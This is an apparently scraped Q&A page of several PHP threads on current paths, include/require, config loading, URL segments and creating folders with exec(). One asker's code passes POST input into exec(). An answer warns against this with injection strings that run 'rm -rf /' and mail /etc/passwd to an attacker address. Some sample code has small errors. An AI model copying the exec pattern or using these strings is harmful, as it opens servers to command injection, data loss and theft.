I'm looking for a way to call the current path in a php condition and compare it with a defined path.
More specifically, in my website, users don't have permissions to do certain actions, but I want them to have these permissions if they are in the repertory that has been created for them when they registered.
I can get my user's username with
$_SESSION['simple_auth']['username']
and what i'm trying to do is something with the following shape :
if current_path == 'http:/mywebsite/user-section/name_of_the_user' {
After some researchs I found that the function get_cwd() might be the one I'm looking for, but I'm a but struggling to write it properly, being very new in php.
I'm looking for some help and explanations on how to realize this !
Thanks a lot !
Apatik
I think that you're looking for information from $_SERVER, probably REQUEST_URI.
$_SERVER['REQUEST_URI'] = The URI which was given in order to access this page; for instance, '/index.html'.
You should look at everything that you can get in the docs
You also might find the following for working out both what is available and what you want:
var_dump($_SERVER)
with a nod to #Nirnae.
If you are looking for the full path of the current file with the filename included, __FILE__ can be used:
<?php
print __FILE__;
?>
Result:
/home/mamba/programming/so/php/test.php
If pieces of the path are needed, __FILE__ can be combined with pathinfo:
<?php
print_r( pathinfo( __FILE__ ) );
?>
Result:
Array
(
[dirname] => /home/mamba/programming/so/php
[basename] => test.php
[extension] => php
[filename] => test
)
Related
This function is returning the content of the file rather the result of fetch_link_settings_overide() within it.
The issue is not with the overide function as after the initial error I commented out my modification just to be sure it wasn't something I had done there.
function fetch_link_settings(){
include( plugins_url()."/plugin-child/plugin_overrides.php");
return fetch_link_settings_override();
}
Adding the content of the derived function plugin-child/plugin_overrides.php as we are not getting anywhere currently.
function fetch_link_settings_override(){
global $post;
// If the destination url is set by the user, use that. Otherwise, use the permalink
$destination_url = get_post_meta($post->ID, '_promo_slider_url', true);
// ASAdd additional place to look in the case of the post being via the PODS advert track
if( ! $destination_url )
$destination_url = get_post_meta($post->ID, 'okd_advert_link', true);
if( ! $destination_url )
$destination_url = get_permalink($post->ID);
// If the target attribute is set by the user, use that. Otherwise, set it to _self
$target = get_post_meta($post->ID, '_promo_slider_target', true);
if( ! $target ) $target = '_self';
// Setup the disable links variable
$disable_links = get_post_meta($post->ID, '_promo_slider_disable_links', true);
return compact('destination_url', 'target', 'disable_links');
}
You write this:
include( plugins_url()."/plugin-child/plugin_overides.php");
Why is plugins_url() there? The include function is strictly based on the file system:
The `include` statement includes and evaluates the specified file.
As explained in the WordPress docs, the plugins_url() would give you the full web URL which is 100% different than the file system WordPress is installed on:
Retrieves the absolute URL to the plugins directory (without the
trailing slash) or, when using the $path argument, to a specific file
under that directory.
So perhaps it should be like this:
include("/plugin-child/plugin_overides.php");
Or perhaps you need the plugin_dir_path()?
include(plugin_dir_path( __FILE__ ) . "/plugin-child/plugin_overides.php");
But that seems wrong. Where would /plugin-child/plugin_overides.php? Try doing this:
include("/full/path/to/wordpress/and/this/plugin-child/plugin_overides.php");
Just replace /full/path/to/wordpress/and/this/ with the actual file system path to /plugin-child/plugin_overides.php.
EDIT: Since the original poster is persistent in using plugins_url() despite all of the suggestions otherwise, here is my detailed response:
…you said “you cannot load raw functions via a URL with include” well
this is not relevant because even if I add $some_var = 'smith'; as the
first statement in the included file, it is not visible in the
function using the include.
Apologies. Functions, classes, strings, constants… Just about anything that you want to be raw, unprocessed PHP will simply not be passed via an http:// or https:// URL because Apache will parse the PHP instructions & simply return the output of that file and not the raw, unprocessed contents of the PHP in that file.
Additionally the original poster contents the following:
You can’t help me because what you are saying does not make sense or
you are not explaining yourself adequately. Look at these examples:
include realpath(dirname(FILE) . "/" . "relative_path");
include("data://text/plain;base64,".base64_encode($content));
include("data://text/plain,".urlencode($content));
All taken from the official PHP documentation. They all use
functions returning components that are concatenated with the rest of
the url. I also tried this typing the filepath explicitly and the
result is the same.
The examples cited are as follows:
include realpath(dirname(FILE) . "/" . "relative_path");
This is a filesystem level include which is the most common way PHP files are included into other files.
include("data://text/plain;base64,".base64_encode($content));
include("data://text/plain,".urlencode($content));
These are both data URLs. Not http or https. So again when you use plugins_url() what you are getting is a full http:// or https:// URL in which Apache parses the PHP instructions & simply return the output of that file and not the raw, unprocessed contents of the PHP in that file. Or as very clearly explained in the PHP documentation you are linking to; emphasis mine:
If "URL include wrappers" are enabled in PHP, you can specify the file
to be included using a URL (via HTTP or other supported wrapper - see
Supported Protocols and Wrappers for a list of protocols) instead of a
local pathname. If the target server interprets the target file as PHP
code, variables may be passed to the included file using a URL request
string as used with HTTP GET. This is not strictly speaking the same
thing as including the file and having it inherit the parent file's
variable scope; the script is actually being run on the remote server
and the result is then being included into the local script.
Going back to your example, you say now the contents of plugin_overides.php is $some_var = 'smith';. How exactly? If it is a PHP file like this:
<?php
$some_var = 'smith';
?>
When you call that file via a URL generated by the following code:
include(plugins_url() . "/plugin-child/plugin_overrides.php");
Assuming your website is http://some.cool.website/ the you are basically making a call like this:
http://some.cool.website/plugin-child/plugin_overides.php
So the output of plugin_overides.php would be 100% blank. If you wanted to get output of that file, you could do the following:
<?php
$some_var = 'smith';
echo $some_var;
?>
And that would return smith. Meaning the absolute ONLY output you would get from that call is pure text. Nothing else.
Now I see you actually have posted the contents of plugin_overides.php. My example explanation above is still apt, but still a basic question. This is your function; just the interface & return for example:
function fetch_link_settings_override(){
// Other code removed. Just a structural illustration for now.
return compact('destination_url', 'target', 'disable_links');
}
Do you actually call fetch_link_settings_override() in plugin_overides.php when it runs? Well, if that function does not run, then there is 100% no way you will ever get any output. But assuming good faith, look at your return statement here:
return compact('destination_url', 'target', 'disable_links');
If you are returning compact, then you are returning an array. You cannot simply return a bare array as a URL call like this http://some.cool.website/plugin-child/plugin_overides.php. The output at most would be simply the word Array.
If the goal is to take that array & do something, then you should use json_encode in fetch_link_settings_override and then use json_decode on the receiving side of that. So the return statement would be something like this:
return json_encode(compact('destination_url', 'target', 'disable_links'));
I have the below mentioned code (actually, configuration) written in a file (config.php) and i want to get the content written in config.php in another file (check.php)
Codes written in config.php:
<?php
$CONFIG = array (
'id' => 'asd5646asdas',
'dbtype' => 'mysql',
'version' => '5.0.12',
);
Code written in check.php to get the content is:
$config_file_path = $_SERVER['DOCUMENT_ROOT'] . 'config.php';
$config = file_get_contents($config_file_path);
Using the above code i am getting the output as a string and i wanted to convert it into an array. To do so, i have tried the below code.
$config = substr($config, 24, -5); // to remove the php starting tag and other un-neccesary things
$config = str_replace("'","",$config);
$config_array = explode("=>", $config);
Using the above code, i am getting an output like:
Array
(
[0] => id
[1] => asd5646asdas,
dbtype
[2] => mysql,
version
[3] => 5.0.12
)
which is incorrect.
Is there any way to convert it into an array. I have tried serialize() as well as mentioned in accessing array from another page in php , but did not succeed.
Any help on this will be appreciated.
You don't need file_get_contents:
require_once 'config.php'
var_dump($CONFIG);
Use include or require to include and execute the file. The difference is just what happens when the file doesn't exist. inlcude will throw a warning, require an error.
To make sure just to load (and execute) the file the first time you can also use include_once, require_one php.net
If you are somehow not able to include the file (what reasons ever) take a look at the eval() function to execute php code from string. But this is not recommendet at all because of security reasons!
require_once('config.php');
include_once('config.php');
require('config.php');
include('config.php');
I'm very confused at your approach, if you just do this:
include(config.php);
Then your $CONFIG variable will be available on other pages.
print_r($CONFIG);
Take a look on the PHP website which documents the include function.
if you are using codeigniter no need to include the config file, you can access using $this, but if you are using plain php, u need to use include() or require() or include_once() or require_once()
simple
include_file "config.php";
How could you fail to read about the require_once directive? :)
$config = file_get_contents($config_file_path);
Must be:
require_once $config_file_path;
// now you can use variables, classes and function from this file
var_dump($config);
If you follow the link to the require_once manual page please read also about include and include_once. As a PHP developer you MUST know about this. It's elementary
I'm sorry if is a repeated question, but i having trouble with PHP. I'm working with the code of another programer, and he is using php. In one of the pages que get the information from the url, but no via post nor get, but by attaching it to the url and putting / between them, like this:
www.example.com/memorial/31/john
the he uses 31 and john as data. I have no memorial directory, neither a file called memorial.
Is there a way to do this in PHP without a framework, he doesn't seem to be using any libraries either.
The most likely explanation is that he is using an URL rewrite engine, such as Apache's mod_rewrite. This will be doing something like turning the directory parts into GET variables.
You can find that information in the global $_SERVER variable: $_SERVER['REQUEST_URI']. As #Oli mentioned, this is probably through a rewrite engine.
For example if you went to the URL you mentioned (www.example.com/memorial/31/john):
$uriPieces = explode('/',$_SERVER['REQUEST_URI'],'/');
// this gets rid of all of the cases of double-slashes as well as the initial
// and trailing. This is optional, but I will generally prefer it.
$uriPieces = array_filter($uriPieces);
print_r($uriPieces);
Outputs
Array
(
[0] => memorial
[1] => 34
[2] => john
)
If you search your project for REQUEST_URI, you will find where the variables are being set.
Well, it is a litte bit strange, since I remember that if I wan't to go to the directory back, then I need to do the following: include("../something-in-back-folder.php"); but it throws up an error with message that the file was not found. So I've prepared some code to check this out:
echo "<pre>".print_r(scandir("../"), 1)."</pre>";
I've executed it in file with location:
public_html => app => actions => post.php
but the above code said, that back from my direction there are the following folders:
Array
(
[0] => .
[1] => ..
[2] => private_html
[3] => public_html
)
It should return 'actions' folder instead. Right?
Isn't this strange? Or I've missed something? If so, then how can I include/open something that is one(or even two) folders back from my current directorty?
You are correct that the .. notation indicates a reference to the parent folder. Your analysis reveals that your PHP current working directory is at the public_html level; this isn't unusual. Make your reference relative to PHP's current working directory. Assuming you want to get at the 'actions' folder from post.php, say:
include('app/actions/something-in-back-folder.php');
I'm on a website project and administrators are able to create categories. When they do make them the name of the category is added to the database.
In the PHP file that processes the form used to create categories, I create a directory with the given name in the specific directory of my host, which at this time looks like:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
It works fine, but now I'd like to copy a template from a resource folder to this new created directory (would be the index of it) and I know how to do it.
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
The problem is I want to craft this template so it can fit the folder where it is placed.
In the template file, I've replace all the parts that will be different from one to one index with the string '%name%'.
What could be the best way to copy this file in a created folder, after having changed all the '%name%' by a given name (e.g. in the title tag)?
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
is this what you're trying to do? it will open your templace, replace %name% with the new name, create the directory, and the new file, write the edited template file and save it
I am by no means a hacker, nor even close to that. Thse examples probably would not even work on first try, this is just to get you thinkin. What if $_POST['name'] contains ...
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy#allyourbasebelongtous.com < /etc/passwd";
Friendly advice, never ever ever use exec like that. Better yet, never ever ever use exec if you can avoid it, especially on web-based applications.
It is advisable to use PHP's mkdir() and copy() functions. For example, couldn't $_POST['name'] be anything? Do you really want to exec() anything?
Secondly, to accomplish the templating, you can use something as simple as this.
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
This is not an answer to the question per se, but a comment that cannot be contained in a comment. However, you need to know this if you don't already.
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
This is very very very bad. Do NOT do this. When you run an exec() in PHP, the first argument is run as a string, which allows for things like this to take place:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
Which would make your exec()'d code equivalent to:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
Replace my two funny functions with actual bad things (maybe, a root'd script or something), and you have a security hole allowing access to your server's underlying OS.
Use the PHP-provided mkdir() and copy() functions, and CLEAN any POST/GET variables you have submitted to you. Do not EVER just plug it in directly into your code uncleaned, especially in database queries.